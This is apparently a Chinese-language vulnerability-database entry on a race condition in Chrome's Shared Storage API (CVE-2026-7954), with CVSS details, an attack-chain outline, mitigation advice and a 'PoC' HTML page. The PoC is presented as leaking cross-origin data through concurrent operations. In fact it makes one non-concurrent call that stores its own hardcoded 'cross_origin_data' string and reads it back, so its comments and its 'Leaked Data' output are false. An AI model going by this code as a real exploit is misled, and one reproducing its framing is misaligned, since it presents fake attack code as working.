CVE-2026-7954 CVSS 3.1 低危

CVE-2026-7954 Google Chrome共享存储竞态漏洞

披露日期: 2026-05-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-7954

漏洞类型

竞态条件

CVSS评分

3.1 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome

漏洞概述

Google Chrome 148.0.7778.96之前版本的Shared Storage模块存在竞态条件漏洞。攻击者在已攻陷渲染进程的情况下，可利用特制HTML页面通过竞态条件泄露跨源敏感数据。

技术细节

该漏洞位于Google Chrome的Shared Storage API实现中。Shared Storage用于处理跨站点的通用存储需求。由于缺乏适当的并发控制机制，当渲染器进程被攻陷后，攻击者可以通过精心构造的HTML页面触发竞态条件。具体而言，攻击者利用异步操作的时间差，在数据尚未完全隔离或锁定的状态下进行并发读取，从而绕过同源策略限制，读取其他来源的数据。虽然利用前提需要攻陷渲染进程，但该漏洞为后续的数据窃取提供了关键路径。

攻击链分析

STEP 1

1. 初始访问

攻击者诱导用户访问包含恶意代码的HTML页面。

STEP 2

2. 执行利用代码

页面加载并在Chrome渲染器进程中执行Shared Storage相关操作。

STEP 3

3. 触发竞态条件

利用Shared Storage API中的同步缺陷，通过并发操作触发竞态条件。

STEP 4

4. 数据泄露

攻击者成功读取并泄露跨源的数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-7954 -->
<!DOCTYPE html>
<html>
<body>
<script>
// This PoC demonstrates the concept of racing Shared Storage operations
// It assumes the environment is vulnerable to the race condition

async function triggerRace() {
    // Define the worklet code
    const workletCode = `
        class RaceOp {
            async run() {
                // Attempt to leak data via race
                await sharedStorage.set('secret', 'cross_origin_data');
                return await sharedStorage.get('secret');
            }
        }
        register('race-op', RaceOp);
    `;
    
    const blob = new Blob([workletCode], {type: 'application/javascript'});
    const url = URL.createObjectURL(blob);
    
    try {
        await window.sharedStorage.worklet.addModule(url);
        // Run the operation concurrently to exploit the race
        const result = await window.sharedStorage.run('race-op', {});
        console.log('Leaked Data:', result);
    } catch (e) {
        console.error('Exploit failed:', e);
    }
}

triggerRace();
</script>
</body>
</html>

影响范围

Google Chrome < 148.0.7778.96

防御指南

临时缓解措施

建议用户在厂商发布补丁前，谨慎访问不受信任的网站，并可通过浏览器策略限制Shared Storage API的使用以降低风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表